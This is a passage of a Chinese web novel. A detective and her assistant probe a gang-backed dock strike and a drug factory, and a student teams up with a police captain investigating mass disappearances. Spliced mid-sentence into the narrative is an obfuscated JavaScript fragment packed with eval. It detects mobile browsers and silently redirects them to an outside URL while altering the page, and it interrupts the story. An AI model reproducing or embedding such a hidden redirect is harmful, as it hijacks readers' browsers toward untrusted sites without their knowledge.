“犬山家族,就是那个保证人,但犬山家族是□□。”犬山晓觉得很混乱,“我理解的没有错吗?是这样吗?” “正解,晓。”启明星点头说。 “是不是有点太奇怪了?还是我的思想有点落后?工人们知道这件事之后还会进行这次罢工运动吗?”犬山晓的疑问还是很多,“我们推测罢工游行的混乱之中会出现大规模的伤亡,犬山家族是知道这一点还这样做的吗?” “以这座城市为首,自从白夜社代替□□成为非法活动的代言人之后就一直如此了,晓。”启明星的神色如常,“我替一家族处理工作的缘由也是因为知道她们是白夜社中的家族,一二三四个人拎出来还勉强能说是个不错的人吧,但一家族是彻底的赌场控制势力,而赌场是赌徒的地狱。” 启明星看着犬山晓,等待回应。 这些事犬山晓昨日就有注意到了,尤其是看见萨尔里那副样子,她就很难不去回忆一家族所拥有的那个酒店大堂里的巨大金色雕像。一家族主要势力不在此,但那样的雕像在市区的很多酒店和赌场中存在着。 “您是为了钱而这样做的吗?”犬山晓问道。 “是的,我说过很多次报酬不错这件事吧?”启明星说。 犬山晓一时有些说不出话,启明星在她眼里并不是一个能为了金钱而抛弃道德底线的人。但这样的印象到底是因为她的一厢情愿,谁能不为钱动心?就连她自己都为了钱而贩卖器官,两者都是贩卖自己,只不过启明星没有克拉拉作为中介。 但是艾克里普说过,启明星的本质是个孩子,犬山晓心想。成人需要钱去做好多事,为自己,为别人,为欲望,什么词语都可以放在这个空位中,再抽象都可以。但一个孩子需要钱,就只是想要用来交换自己想要的东西而已,两者的重量是一样的。 同样是为了满足,成人就肮脏,孩童就纯真吗?到底还是得就事论事,犬山晓回头看,还能看到远处隐约残留着的黑烟,那是启明星侦探事务所的遗骸化成的粉末,飘向空中不复存在,犬山晓记得那里面的样子,那也是用钱换来的。 既然如此,犬山晓想要相信启明星需要钱是为了达成自己的理想,而不是单纯地与暴力组织结伴同行,同样的,她做出的事也不会违背她最初的想法和意愿,也就是,找出真相。 “但也不仅仅是因为钱,对吧?”犬山晓问道。 “您的想法可真是坦诚到一览无余呢,晓。”启明星笑了,“钱是货币,货币是道具,道具总要有被使用的一天,我当然不会只为了个道具而费心费力。” “那是什么呢?”犬山晓问,“您到底是想知道些什么呢?除了您身上的特殊之处以外,我想不出您还想知道些什么,才会一直干涉这其中的事。” 要说挣钱的话启明星完全不需要和一二七成为那种程度上的朋友,毕竟二把手已经非常靠近核心了,他的朋友总不能一直是无辜的中立者。 “我身上的特殊之处就足够我焦头烂额了,晓。”启明星说,“而且这并非想要,而是必须,我必须尽快找到真相,否则我必须假设我时刻都有死去的可能。” “…抱歉,启明星。”犬山晓愣住了,她意识到自己再一次使用了错误的思考方式。 “不必道歉的,您不可能全然了解我,一个充满智慧的长者。”启明星笑了。 “嗯。”犬山晓点头,“那请问长者大人我们接下来是要去做什么呢?” “去看看那位萨尔里能带给我们什么新的惊喜吧,根据她的表现,我们可以决定一下任务的交接方式了。”启明星思索了一番,“不,可以决定任务该如何结束。” “是选择交付任务的对象吗?”犬山晓问。 “是的,不过说实话,一二七先生也并不是他自己表现得那样像个旧臣的。”启明星说着,眉头皱了起来,“一二三四想做的事情到底是什么呢?这种时候就体现出交流的必要性了。” “她,想要的不是让一家族脱离控制吗?”犬山晓疑惑道。 “晓,在你看来,那个十面骰被找到的可能性有多大?”启明星问道。 “说实话,我觉得如果不是水被放干,那大概直到旅馆关门都不会被谁发现泡汤的时候背后有个不太明显的突起吧。”犬山晓如实说,“但相对的,如果是启明星的话就很快找到了呢。” “多谢夸奖。”启明星眨了眨单眼,“但是如果吉田川光将它随身携带,那就连被我找到的可能性也会不复存在了吧。” “您是说,吉田川光不想让那个东西被亚贝琉的人发现,这样吗?”犬山晓思来想去,“不被发现的话,那是不是丢了和没丢就由一二三四说了算了,发现了的话,那就是证据确凿。” “没错,那么一二三四让吉田川光带着那个东西离开,是为了让她说了算,还是证据确凿呢?”启明星补充道,“若是让她控制‘物品丢失的可能性’,那么亚贝琉家族的人或许会因为以往的情分和她商榷一番。但若是证据确凿,那么‘一家族的叛徒带着重要物品离开’的事情被亚贝琉家族的人发现,一家族就算是被动失去规则制约,相当于脱离了控制。” “…我想想。”犬山晓疯狂思考,“商榷一番,是指要不要对一家族动手,明明是一二三四在控制可能性但考虑其后果的却是亚贝琉家族,天使不讲道理的。” “是的,更别提现在这个时候,或许逮到一个机会天使就会动手吧,就是不知道以往一二三四的那个性格是怎么被亚贝琉家族的人忍受的了。”启明星说。 “那果然是后面那个比较好吧!有脱离控制的可能性!”犬山晓终于得出来结论,“可是这样一来不就…” “没错,吉田川光没有选择‘后面一个’,她是唯一的执行者,是死士,没有背叛的理由才对。”启明星叹了口气,“所以一切又都变得扑朔迷离了起来,太诡异了,一二三四到底在想些什么东西啊?怪不得一二七先生和那些干部会是那副表情,真是个会折磨人的首领呢!” 话是这样说的,但她的语气却跃跃欲试,觉得是还有线索她还没发现而已。 “…先,先看看今天有什么收获吧。”犬山晓挠了挠脑袋。 “晓,你觉得这样探索真相的过程如何?有趣吗?”启明星问道。 “说真的,我不是逻辑思维很好的那部分人,很多情况下也不知道自己说的话对不对,所以也很难理解这种乐趣。不如说如果直接告诉我‘是或否’的话更好一点吧。”犬山晓如实相告。 “但是被给予的答案是别人思考过的答案,也就是二手货了吧?”启明星不满地说。 “…也可以这样说,不过生活的经验不就是这样的吗?一代传一代的,为了保持最低的稳定标准。和这些需要实时理解的新东西不一样吧?”犬山晓无奈地说。 “确实,如此。”启明星说,“不得不承认呢,我的事务所装修风格参考了很多小说和影视剧,不对啦,我是说探案,您不喜欢发现真相的过程吗?” “如果是说和您一起这样的话,还挺喜欢的。”犬山晓有些不好意思地说,“您很尊重我呢,哪怕是思考这样的事情您也愿意放慢速度来迁就我,这样的情况下探索真相有种在学新东西的感觉,我觉得还不错。” “毕竟我可是启明星!”启明星自得地说,“而且能有人这样问我问题也是新鲜的体验。那若是没有我在,晓还会一步一步挖掘真相吗?” “好吧,我会努力试试看的!就,尽全力吧。”犬山晓没办法保证。 “这样就可以了!”启明星笑了,“我一开始也是会看答案的!慢慢来吧。” “好的!”犬山晓答应下来。 车辆前进的速度有点慢,尤其是在地面路段,似乎是蜂拥的人群阻拦了公共交通。犬山晓看着扎堆的人潮有些担心,这里离南流港有一段距离,但并非不可抵达。 希望未央和未雅那里还顺利吧,犬山晓心想。 港口完全被围堵了,三人找了个人少的地方下车,车门一开,广播的声音就涌入了空气之中,伴随着谈话的声音和脚步声,无比热闹。 启明星带头,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808005|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人从小路绕进了大门,一路前往停车场,昨日那吉田川光尸体所在的地方已经被围了起来,但现在这个时候也没人去修了。 “那个冰柜被我叫人转移走了。”启明星说,“看来今天确实是会有大动作。按法律,工会的游行期间非特殊情况公安部门不可出动特警,且只能监督游行影响‘正常’交通,一切都只能留到事后调查时间再开始行动呢。” “罢工游行吗?”犬山晓想了想,“那个,萨尔里在其中又扮演了什么角色呢?她自己也说了答应了那个佐崎要做些什么来着不是吗?” “我都能猜到佐崎辽二是怎么和萨尔里说这件事的了。”启明星说着,抬起手就进入了角色,“萨尔里,我时日无多,出事只是迟早的事,但这些没做完的事情我不能放着不管,你是特殊的存在,只能交付给你,什么的。” “我时日无多,不出意外的话,下一个就是我了。我自认对家族尽心尽力,从未有过丝毫的懈怠,但事到如今家族也救不了我。不,这些都是无法改变的事情了,但是还有一件事,一件不得不做的事情。那就是工会之后要举行的罢工游行,我是发起人,我怎么能死?我死了工会里那些本来就是勉强聚集的人不就成为一团散沙了吗?萨尔里,我求你帮我,我知道你的背景,我从来不问,是因为我们是朋友。我求你帮帮我,只有你能帮我了。” 萨尔里看着镜子里的自己,不属于这里的五官,不属于这里的骨架,不属于这里的舌头,不属于这里的这个人。佐崎辽二的声音还围绕在她的耳边,过去她只当是不经意间的思绪,但现在,想起那个该死的侦探,她却不得不这样做了。 “她本来不打算插手的吧,昨天也是一副刚把事情想起来的态度。不过昨天我们那样说了之后,她哪怕是强撑着今天也要换副嘴脸出门吧,毕竟现在她才是佐崎辽二。”启明星说。 双手覆盖在脸上,揉搓几下,再放开,出现在镜子上的就是一副还算有亲和力的脸了。萨尔里扯了扯嘴角,却也笑得僵硬。 “不过萨尔里确实也算是身处绝境了,随便一个小插曲就能让她找回一些活下去的原因吧,或者说自己的价值?到时候就能理直气壮地说‘那又怎样’这种话了。”启明星笑着说。 “佐崎会长!”宿舍门外有人敲门,声音是个年轻人,萨尔里顿了顿才反应过来这是在叫她,随即她前去开门,门外的走廊上,一个皮肤被晒得微黑的搬运工人站在那里。 “这还是第一次和您这样说话!”那年轻人显得期待又局促不安,眼睛看着萨尔里时不时移开又移回去,“我是这里新来的帮工,阿姨让我来和你打声招呼。” 随即,那年轻人把手上拎着的布袋子递给了萨尔里,沉甸甸的,温热的。 是食物,早上了,这是早饭,萨尔里恍然大悟。 “哦,多谢。”她接过后道谢,不知该说什么,她只是来接手一个烂摊子的,眼前的这些并不在她的预料范围之内,但场面话她还算在行,“替我问声好,麻烦你跑一趟了。” “哪里的话!”那年轻人笑了,脸上的些许疤痕和因为劳动中的日晒而黢黑的手臂一起晃着,“这次游行可多亏了您愿意组织,我们感谢您还来不及呢。” 游行,对了,她是替佐崎辽二接手这次游行的,但萨尔里,或者说亚贝琉萨尔里知道这次游行并不是真正意义上帮助工人争取权益的运动,但她看着那年轻人真挚的笑容,没办法说出一个不字。但说点场面话还是可以的。 这个时候要怎么办,要怎么回应来着?哦,她应该是知道的。于是在思维控制动作之前,萨尔里本能地露出了一个充满自信和说服力的,坦荡的笑容。 “有我在,还有什么好担心的?”萨尔里说,说完她就想起来,这是她上次和父母保证能赚到钱填上欠债时说出的话,她说了好多次,自己也信了好多次。 “…太好了,会长。”那年轻人也信了,“说真的,我其实不知道自己为什么要参与这次游行,说是争取什么权益和尊严,但我家里穷,不太理解那些能换来多少钱,如果不能换钱的话那我为什么要参加?阿姨知道之后打了我,我本来是很生气的。” “哦,这样。”萨尔里愣了愣,她其实也是这样想的,但她可不能这样说,“那现在呢?现在你怎么想的?” “我还是不知道,会长。”那年轻人说,“但是您很好,我是说,您看着很厉害,我想,如果我也能成为您这样的人,那我爸妈,阿姨也会开心的。所以我想参与这次游行,我想理解您,以后朝着您这样的人发展。” 有多久没有人这样看着自己,信任自己,说出这样的话了呢?太久了,萨尔里都不记得自己一个人生活了多长时间,她给亚贝琉的人干活,不存钱,不考虑未来,毕竟她烂命一条谁想要谁拿去就好,死都不怕了还有什么好怕的? 睁眼去干活,拿钱去抽东西,去赌,去喝酒,没钱了再去干活,直到有一天她不再能睁开眼睛,那就是死,是沉睡,睡觉有什么不好的? 萨尔里一直这样想,一直觉得自己是个特殊又无所畏惧的人,所以她看见吉田川光准备自杀的时候,心动了。 一个想要自杀的人,和一个想试试看杀人的人,一拍即合,造出了一起血案。 事后也有别人来处理,萨尔里洗了澡就带着钱去打牌了,她的手一直在抖,她以为是兴奋的。后来那个侦探找上门,说她怕死。 萨尔里又生气又怕,又生气自己怕,但却又不得不怕,她不想自杀,自己也不知道为何。 但现在,她看向那个年轻人,她的笑容如此坦率,眼里的愧疚和向往如此真挚,黝黑但明显还属于一个刚刚成年的人的手臂如此无力。 她曾经是个自暴自弃的失败者,那又如何?她既然没能被杀死也没能自杀,那就证明她活着一定还有什么用吧?萨尔里心里一抽,觉得是燃起了一把火。 萨尔里心想,她怎可丢下这孩子一个人参与那场游行?那这样的她不就是当年她的那不负责任的双亲一般,不对未来和结果抱有希望,只是一味地撇清关系的人吗? “那你告诉我,你对这场游行了解多少?”无知者向孩子发问。 “即使她想做什么,一切的结果也不会因她的一时兴起而改变的,萨尔里或许确实是有那么一些特殊之处吧。”启明星的食指和大拇指比出一个硬币直径,“但是作用更多是用于她自己的自我安慰和最后心理防线吧。” “…确实,她没办法改变些什么的。”犬山晓沉默了一会,说道,“既然这次游行的目的已经被决定好了,那她无论如何都没办法阻止一切发生的,即使她知道些内幕。” “以会长这个头衔,她能做到的最大程度也不过是将一切控制在靠近东流港附近的范围内了,不过这样的做法会引来非议,她会被质疑,随后愤怒,认为这是一种隐忍的自我牺牲,但也免不了动用暴力。”启明星随口几个词句道出了即将发生的转折点,“但说到底,她自己也没那么相信自己能做到什么大事,一时兴起也会一时逃避。” 不远处,随着时间临近,本就隐约比寻常更喧嚣一些的码头工业园区内嘈杂声更加此起彼伏了起来,混合着一些争吵与激昂的议论声。 “已经要开始了吗?”犬山晓有些意外。 “有一些矛盾,走吧,去看看。”启明星拄着拐杖前进,“天不渡家族旗下在东流港工业园区所属的工厂建筑群发生了大火,有部分工人受伤,但更重要的是,内部的一切都被清空了。” “哦!是艾克里普,那些制造毒品的机械被她清除了。”犬山晓认为这是好事。 “是的!可喜可贺!那种致幻药物若是摄入过量,就不是什么人造释缓剂能缓解的了,毕竟造成的扭曲是生物学上的,药理化学派不上用场。”启明星笑着说,“不过这件事的结果却与我们想要的不太一样,艾克里普在动手前一定纠结过吧,但还是有没能考虑到的地方。” 尘沙布满脚下的路,三人一路顶着周围不太友好的议论和打量走到爆发争吵的区域附近,越是靠近,周围的人神色激动的就越发明显,犬山晓看了隐约有些不好的预感。启明星一边听着周围的人的谈话一边思索,偶尔问一些人一些问题,一点没在意自己吸引了很多视线。 “…我都说了这件事就不该发生的,要是没有这样做那工厂就根本不会出事啊!我们一直以来都是这样的,忍一下怎么了?!”一个身着脏破工作服的工人席地而坐,神情愤慨。 “什么叫忍一下啊?现在这样谁都不希望,你就别拱火了,喝酒去吧。”另一个人拉扯着席地而坐的人,似乎是想带那人离开。 “我说,你不觉得这样太过分了吗?”席地而坐的人问道。 “什么?”拉扯的人一愣,“这种情况又不是一天两天了,至少我们没参与,大不了就跑路,和那些真的掺和了这件事的人不一样,我们跑就行。” “我是说,你不觉得这样太过分了吗?”席地而坐的人一指身后空荡荡的工厂,“不过是怀疑,就为了警告我们做到这个地步,你不觉得过分?我觉得!这太恶心人了。” 随即二人就这件事爆发了新的争吵,有更多的人参与了进来,争吵随即升级为暴力,几人本就不是什么良善之辈,说不过就动手已经算是美德了。 “有些人认为,工厂内部被销毁,工人失去工作是因为工厂内部有人参与码头罢工,被上面的人发现之后的连带惩罚。”启明星神色如常地看着,“有人因此加入游行,有人因此害怕而到处宣扬这件事,越传越离谱,总之,混乱增加了。” 犬山晓听了直叹气,人总会以自己的方式去理解不可思议的事情,以降低恐惧,但有时这样的理解又会造成新的恐惧,就和有乐羽生说的校园鬼故事一样。 “不过,至少天不渡的工厂里的那些人并不无辜,那些人是在知情的情况下成为员工的。”犬山晓不认为艾克里普的出发点是错的。 “确实如此,艾克里普小姐不会做无理由的事。”启明星点头,“我们来这里也并不是为了这些混乱的情况的,而是为了这个工厂本身,或者说遗产吧。” “咦?”犬山晓一愣,随即意识到了什么,“那些生产出来的药物没有被完全销毁吗?” “怎么想这样买一送一的好事发生的可能性都很低。”启明星无奈地说,“不过就这样的状况来看,其实那些工人也不知道吧。” 犬山晓心里有了非常不好的预感,那些药物若是大面积传播的话,那造成的混乱可想而知,致幻本身已经是最小的一部分了,毕竟事实证明,那些药物能让一个普通人转化为魔物。 “那,那我们怎么才能找到那些东西?”犬山晓紧张地问,“那些东西随时都可以被使用。” “混乱是要一齐爆发才会让处理者忙不过来的,不必太急。”启明星神色并不紧张,“这里的工人不知道,我们也有一个人可以问。那位萨尔里,不是说过‘大货’这个词吗?以她的自大傲慢,这个货物的重量不会让我们失望的。” “啊!确实!”犬山晓惊喜地说,“我们去找她吧!无论如何我都会让她开口的!” “真高兴您愿意帮忙!不过萨尔里是一位自认为无所畏惧的人,再等等吧。”启明星确认了时间,“两个小时,不,两个半小时后我们去找她。在此之前,先陪我去把一些遗留问题解决了吧,这样一来将这起案件的结果交付之后,启明星侦探就算是正式退休了。” 73.INMATE-010 有乐羽生绕着整个大学城区域飞了两三圈,拿石头砸跑了一些欺负别人的小混混,帮助了一些路人,顺带摸了几下流浪猫。就目前来说她感觉大学城并没有她想象中的那么混乱。 今天是双休日,大部分学生和教授都不会选择来到学校,教学楼所在的校区空荡荡的,反倒是靠近外围的商业区更热闹些,偶尔能看到有行人带着帆布包。 罢工运动的游行或许会波及大学城的街道但现在还不是时候,街道上比往常多出了一些警察,佩戴警棍,但神情看上去不算紧张。总之,比她想象中那种电影场景里的大逃杀街道好得多。 但这并不是真的意味着这里就安全了,有乐羽生明白波涛汹涌之前的水面是安静的,但真的到那一步就太迟了,比起这样飞来飞去,不如想办法与那些与她有着类似想法的人接触一下。想到这里,一个人的身影从她的脑海蹦了出来,花野真纪,是她同学的姑姑,也是启明星侦探和她说过的可以沟通的朋友。 按理来说花野真纪是西部市区北部警局的,现在没有理由出现在这里才对,但有乐羽生刚才在天上飞来飞去的时候有注意到这位一年四季都穿风衣的刑警坐在公交车站的长椅上打瞌睡。 比起这位刑警,有乐羽生对她的同学,也就是日之森学生会成员纪委部门对花野夕雨更为熟悉一点,当然也就点头之交。她们作为学生会的成员对彼此的个人信息都有所了解,类似于家庭背景,教学安排,未来目标之类的,私人对话反而不多。 同学陌生,同学的家里人就更是陌生,其双亲或者特殊的亲戚还算是有记忆点,在有乐羽生看来花野真纪这个名字出现在电视上的频率比出现在花野夕雨的嘴里要多得多。 不过即使不认识也不能直接露面,有乐羽生找了个地方使用变装。但她的变装魔法充其量只能给东西换个颜色,换脸什么的还是太难了。于是她索性放弃,在大学城的小商品店里买了一副滑雪用的那种能遮住脸的大墨镜戴上了。 “感谢您的光临!”收银员心想怎么真的有人在这里买这个。 “谢谢!”有乐羽生心想这里怎么还有卖这种东西。 确保带上墨镜只会勉强露出一张嘴之后,有乐羽生把头发换了个颜色,随后走到公交车站长椅旁思考自己要不要直接把对方叫醒。 年近40的花野真纪面上已经有了些许沟壑,眼目紧闭时面孔略微沧桑,头发卷曲打结的,和皮肤上的其它部分一起被疏于打理。裹着的风衣在有乐羽生看来并不是什么值得夸耀的品牌,但面料上些许脏污和洗刷的痕迹可以看出其使用期绝不少于五年。 花野真纪怀抱双臂背靠公交站台,脑袋偶尔顺地心引力下点,衬衫的领口和领带位移严重,工作牌不见踪影,皮鞋倒是油光发亮,同样发亮的还有腰间的皮带和皮带上挂着的金属酒瓶。仔细闻一下的话,有乐羽生还从她的衣服上闻到了酒的味道。 这个人,不会是昨晚喝醉了睡在这里的吧。联想到公安部门的风评,有乐羽生越想越觉得自己是对的,越想越觉得自己或许不应该来找这个人。 但就在她靠近了去闻花野真纪身上的气息的时候,那双紧闭的眼忽地睁开了。 虽是惊醒,但花野真纪的双眼之中没有任何迷蒙和恍惚,她直盯盯地抬头看向有乐羽生,眼神锐利而直白。 有乐羽生愣了下,随即退后一步打了声招呼:“…哎呀,打扰到您休息了吗?” 花野真纪一时没有说话,她一直怀抱着的双臂松开,风衣舒展,那前襟袖口处的磨损便更加明显,但其主人不太在乎掩盖这些,只是抬起右手揉了揉脖子。她没有说话,但眼神也没有从有乐羽生的脸,或者说那副滑雪墨镜前移开过。 这样一来酒的气息就更明显了,是种粮食酒,威士忌的可能性更高,有乐羽生心想。 松动了一下筋骨之后,花野真纪正式醒来了。 “这可不是用来休息的地方,滑雪爱好者同学。”花野真纪开口时笑了,她的眼睛眯了起来,笑容抹去了她年龄带来的部分重量,“不过用来靠着休息一下倒是不错的选择,尤其是对于流浪汉这样无家可归的人来说,哈哈哈。” 花野真纪可不能说是流浪汉,有乐羽生心想,花野家绝不可能允许族人流浪,更别提她们可是花了大代价将花野真纪捧上了队长的位置,这样的职位可不是一个流浪汉能拥有,能负起责任承担的。但她能听出花野真纪说出这些话时虽然开玩笑的成分居多,但也有着些许自嘲的成分在里面。 “说笑了,花野队长,您一表人才怎么会是在流浪?”有乐羽生微笑着说,“我是启明星侦探的朋友,来这里对即将发生的混乱进行调查和阻止的。” 话说到这,花野真纪也该明白过来眼前这位不愿露面的神秘滑雪爱好者确实是来找她的了。 “那可真是,”花野真纪叹了口气,“启明星侦探还好吗?我还没来得及去问候她。” “上次见面时侦探还好?”有乐羽生意外地问道,“发生什么事了吗?” “你还不知道啊,不过也正常,那是几小时前发生的事情。”花野真纪站起身来,一边整理身上的衣物一边说,“她的事务所所在楼发生了爆炸,附加火灾,虽然现在应该已经结束了,但建筑的毁坏是毋庸置疑的结果。” 言辞间花野真纪的声音低沉,眉头紧皱。 “…感谢您告知我这一点。”有乐羽生震惊到沉默了一会,她没想到不过是这么一小段时间就发生了这样的事情,虽然不知始作俑者是谁,但毫无疑问都与她们正面对的一切有所联系。 既然如此,那就更不能忽视潜在的危险了,有乐羽生心中有些紧张了起来。 “我的另一位朋友现在与启明星侦探一起行动,她没有告知特殊情况,那么启明星侦探目前人身安全就可以得到保障。”有乐羽生说。 “是吗?那就太,那就再好不过了。”花野真纪说着,反而为自己身上的酒气吓了一跳,“真是不好意思让你看见我这幅样子,我去洗一下,劳烦稍等。” 说着,她也不顾及有乐羽生的答复,一路小跑进了附近的公共卫生间。有乐羽生看着对方的背影,心想这人强行让自己看上去有礼貌的样子还挺有意思的。 没过五分钟花野真纪就从里面出来了,说是焕然一新也不至于,但酒气确实散去了许多,而且头发还湿答答地落着水珠,显然是被连带到了一些清洁责任了。 “久等了!这里果然还是没有热水。”花野真纪笑着说。 看着眼前的人,有乐羽生不禁又想起了自己的同学,二者除眉目之外无任何相似之处。 “没事。”她没说什么。 “能告诉我,目前为止你的收获吗?”花野真纪一边擦着头发一边说。 “这样的话,”有乐羽生思索了一番,取出了自己拿到的微型摄像头,“这个是我从附近的一间俱乐部的地下室拿到的东西,里面的录像是关于药物摄入过量产生的结果,不知您是否了解其中内容呢?” “哦!这个东西居然!”花野真纪眼睛一亮,凑到有乐羽生旁边就要拿来看,被有乐羽生轻巧地避开了。 “看来您是有所了解,那就足够了。”说着有乐羽生把东西收了起来,“就启明星侦探所言,此物放在我这里安全一些,必要时再问我要吧。” 毕竟没有哪里比她的折叠空间更安全了。 “好吧,看在侦探的面子上。”花野真纪也没有再追究这件事,她从风衣内的口袋里摸出了一个掌心大小的记事本,皮质封皮有些许磨损,内页充实到需要一根绑带系住,她低头写了些东西,随即往前翻了几面,“我确实在追查与此物相关的事务,我的目标与之相关。” “我们的目标应该不会差太多,天不渡家族的首领,您有所了解吗?”有乐羽生问。 “呦,你们了解的挺多的嘛!”花野真纪笑出了一口白牙,很快又收了回去,“总之,我确实在追查天不渡真寅的下落,他想活的时候真的很能跑,但找不出的话我们很难把所有据点连根拔起。不过就现在,或者今天来说,我的目标和他无关。” 这样才好,有乐羽生心想,她相信艾克里普的能力,但此时,比起这个人,这个地区的居民的安全更为重要。 “您说得对,今天码头工人罢工,游行波及这里是迟早的事,我们最好能赶在交通忙碌起来之前将可能发生的隐患消灭。”有乐羽生郑重地说,“我们认为有白夜社的帮派势力和在那之后的存在准备趁着游行造成大规模袭击。” “真是正义感十足啊同学,游行的话交警也就只能抱住那些人的大腿让她们少往马路中间跑了,等发生了暴动再叫人可不成。”花野真纪一挑眉,很快又收回稳重表情后方,“同学,启明星侦探有没有和你说她的调查进度如何呀?” “关于什么的呀?”有乐羽生也配合地被问。 “关于那个小摄像头的!”花野真纪说。 “那不该是您的工作吗刑警大队长?”有乐羽生歪着头问。 “额啊!”花野真纪一拍胸口,“谁叫飞到附近的三台无人机都被击落了,我没有额度一天申请四台,不对!我的战术没有得到刑警队的支持!” 有乐羽生心想这位同学的姑姑说起话来竟是比她同学还年轻些,但她很快注意到了对方话语中透露出的信息。 “…那些地下室的尸体,并不是刑警队的人处理的吗?”有乐羽生疑惑地问,“启明星侦探说尸体已经被处理完毕了且推测可能会有人前去销毁摄像头,而我过去时也确实遇到了袭击。” 花野真纪若有所思,用笔杆戳了戳下巴,她不说话时体态还算沉稳。 “那并非袭击,而是埋伏,你平安无事比什么都强。”花野真纪说道,“原来如此,那也是老鼠夹中的一个。” “老鼠指我吗?”有乐羽生微笑着问。 “怎么会呢同学?”花野真纪指手画脚地说,“同学你可谓是神兵天降救我等的调查进度于水深火热之中啊司法那群人再爬八百年也追不上同学这样的诶不对。” 有乐羽生忍不住笑了起来。 “咳咳,总之,刑警队的案件进度报告得取决于实证,但证据事到如今已经不再重要。我也没有理由再去申请第四台无人机或者第三把热武器了。”花野真纪语气遗憾,她翻了翻自己的记事本,翻出一张照片展示给有乐羽生看,那是博蒙-阿贝尔被宣判死刑的新闻简报。 “…这个我看过了。”有乐羽生叹了口气,“她的死刑判决很快,但并不令我意外。” “犯人被八个黑罐头扣押至西部市区服刑,对她的审判已经结束,针对她的调查和取证早就没有意义了,同学。”花野真纪看着有乐羽生,也叹了口气,“这件事本来就怪得要命,又让我们查又不让我们查太多,无人机被击落了也不让追责,真是莫名其妙。” “针对博蒙-阿贝尔?”有乐羽生愣了愣,才意识到她们两个的调查目标可能并非同一个,“您出现在这里是为了调查地下室毒品案的后续事件的吗?可您又说目标是天不渡家族。” “是同一个,至少最后会变成同一个。”花野真纪比出两根手指让它们碰在一起,“既然你是启明星侦探介绍过来的就该知道我在说些什么,对吗同学?” “是白夜社,以及那之后的高威胁存在。”有乐羽生了然,“您在调查白夜社相关信息以阻止近期可能会出现的暴动吗?” 有乐羽生暂且没有提出天使的存在,花野真纪在她眼里是个普通人。 “高威胁存在,同学你说话好像我同事啊。”花野真纪又揉了揉脖子,“不过确实如此,三台无人机拍出来的东西都没用,尸体凭空出现在室外,加上以前那些事,就威胁程度而言确实够高的。” “以前那些?”有乐羽生有些在意,“您确定与其相关吗?” “按照可考的死亡人数,化工厂案百人人间蒸发,仲裁名单案百人死亡且尸体全数下落不明,多地区远距离狙杀案几十人遇难身份无法追查,鲸岛建筑施工队案数十人只留单手,军港报告三十五名武警一夜之间下落不明。”花野真纪一边翻动记事本一边说,“以及,野兽袭击案七人死亡遗体已被处理。” 有乐羽生一时没有说话。 “以及,数百件少数人口失踪报告,以及更多失踪了也无人报告的人口。再加上一些人欲盖弥彰的态度和定期出现的建筑物倒塌和爆炸。”花野真纪笑了笑,“全都没有查清,有的也没办法继续查了。但我觉得是相关的,也有些老朋友愿意支持我。” “武警?武警遇袭不算恐怖袭击吗?”有乐羽生不可置信地问。 “当然算,但是‘下落不明’不算遇袭。就我对那位局长的了解而言她不会分不清这其中的区别,但衡量重量时为确保结果精准总得加上两边的所有,无论时间。”花野真纪的眼神看向了一边,但还是在笑的,“抑或者只是还在等吧。” 有乐羽生无从了解其中细节,但结合孤儿院的情况,她在心里有了决断。 “…我认为这些案件中若是出现您无法理解的情况,那就是她们做的,我们的目标也是她们。”有乐羽生点了点头,没有解释太多。 “现在我的支持者又多一个啦。”花野真纪跃跃欲试地问,“能具体说说你的想法吗?” “我的想法是尽快解决以减少更多伤亡,我们也准备这样做。”有乐羽生想了想,说,“摄像头您也看到了,那地下室中的高威胁存在有两个,是我解决的。” “…真是值得信赖啊同学!我近期分身乏术,正需要帮手呢。”花野真纪露出了适时的惊讶和期待,“就这一结果而言,你我联手我们今日必定能有所收获!” “我当然会与您联手,我正是为此而来。”有乐羽生问道,“那么您也与我透个底如何?” “嗯嗯!什么什么?”花野真纪笑着问,看着很好说话的样子。 “您作为西部市区北部警署刑警队队长,为何会在公休日出现在大学城的公交车站长椅上?”有乐羽生似无意中问,“分身乏术什么的是开玩笑的吧?大队长怎么可能会没有手下呢?哪怕这里不是您的办公范围,就协助而言,应该至少能调动一两支巡警队过来吧。” 花野真纪笑容一滞,滑雪墨镜看着她,反光映出她那张无语梗塞的面孔。 “我说啊,同学,成年人可是很辛苦的!”花野真纪还想维护一下自己的尊严。 “嗯嗯,然后呢?”有乐羽生问,“不会没有然后了吧?辛苦并不是理由哦。” “好吧,你确实有知情权,我说。”花野真纪叹了口气,“博蒙-阿贝尔一案结束的快,是缉毒队的案子,结案后针对这里的调查宣告停止,因为事发地在隔壁城市。在摄像头位置被找出后缉毒队带人抓到了这附近一些贩毒的,随后带着重心转移到了另一边。重心包括局里刑警队绝大多数人,桃源她交了意向函之后局长下令让队长带队押送证据去隔壁城市继续调查那个医院。为了‘□□’把我和一些文员留下了,加上游行期执法限制,说分身乏术没在骗你哦。” 有乐羽生顿了顿,她对公安内部结构了解大多来自自己的母亲,但她的母亲说话时大多是抱有个人主观贬低的,她主观贬低所有人。她本不想去干涉其内部事务,但花野真纪若所言非虚,这件事的发展走向就像西部市区警察局在刻意调走警力一样。 但花野真纪还在这里,有乐羽生看着花野真纪的笔记本,她不仅在这里,还在调查她不该调查的东西,而且,分身乏术。 “原因不是那么难猜呢,警局内部对外部工作的态度我也略有耳闻。不过既然如此,为何您还要调查这件事?”有乐羽生问道,“警局里现在可没有人会为这件事的结果给您评优哦。” “就是因为这个!”花野真纪笑了,她的笑总是露出虎牙,白得晃眼,“我当警察本来就不是为了那种东西啊。” “那是什么?梦想吗?”有乐羽生好奇地问。 二人聊着天沿着街道走,有乐羽生只是跟着。 “比那种东西实在得多。”花野真纪说,“我们家里充其量也是个不错的家庭了,不缺吃穿,人也都是不错的。但做出的一些事情总是令我匪夷所思,别看我现在这样,以前可是很叛逆的,越是匪夷所思我越是要调查,于是也就真的让我找出了些东西。” 